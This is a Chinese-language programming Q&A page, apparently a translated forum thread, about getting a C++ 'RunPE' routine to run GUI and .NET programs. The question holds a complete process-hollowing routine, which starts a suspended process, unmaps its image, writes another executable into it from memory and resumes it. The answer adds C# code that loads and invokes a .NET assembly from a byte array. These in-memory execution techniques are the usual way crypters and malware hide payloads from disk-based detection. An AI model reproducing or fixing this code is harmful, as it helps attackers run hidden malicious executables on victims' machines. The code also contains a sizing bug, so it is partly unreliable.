RunPE c ++仅适用于32控制台

时间:2014-03-28 08:26:15

标签: c++

我可以从资源中读取一个exe并从内存中运行它而无需在磁盘上写入(也称为RunPE)。

我的应用程序是win32控制台。

我可以运行其他win32控制台,但我无法运行win32 Gui应用程序和.net应用程序。

如何让它运行?

以下是我的RunPE的代码:

RunPe(LPSTR szFilePath, LPVOID pFile)

{
  typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);

      PIMAGE_DOS_HEADER IDH;
      PIMAGE_NT_HEADERS INH;
      PIMAGE_SECTION_HEADER ISH;
      PROCESS_INFORMATION PI;
      STARTUPINFOA SI;
      PCONTEXT CTX;
      PDWORD dwImageBase;
      NtUnmapViewOfSection xNtUnmapViewOfSection;
      LPVOID pImageBase;
      int Count;

      IDH = PIMAGE_DOS_HEADER(pFile);
      if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
      {  
          INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
          if (INH->Signature == IMAGE_NT_SIGNATURE)
          {
              RtlZeroMemory(&SI, sizeof(SI));
              RtlZeroMemory(&PI, sizeof(PI));

              if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
              {
                  CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
                  CTX->ContextFlags = CONTEXT_FULL;
                  if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
                  {
                      ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);

                      if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
                      {
                          xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
                          xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
                      }

                      pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
                      if (pImageBase)
                      {
                          WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
                          for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
                          {
                              ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
                              WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
                          }
                          WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
                          CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
                          SetThreadContext(PI.hThread, LPCONTEXT(CTX));
                          ResumeThread(PI.hThread);
                      }
                  }
              }
          }
      }
      VirtualFree(pFile, 0, MEM_RELEASE);
  }

1 个答案:

答案 0 :(得分:0)

1.gui应用程序仅在其他gui应用程序的内存上运行。因为cui应用程序仅在其他cui应用程序的内存上运行。 因为新窗口上的cui应用程序是由conhost运行而不是直接运行。

2.对于从c ++内存中运行.net应用程序,你必须修复导入表和其他东西。从.net运行.net应用程序只需

Assembly Lasm = Assembly.Load(bin);
MethodInfo method = Lasm.EntryPoint;
object obj = Lasm.CreateInstance(method.Name);
method.Invoke(obj, null);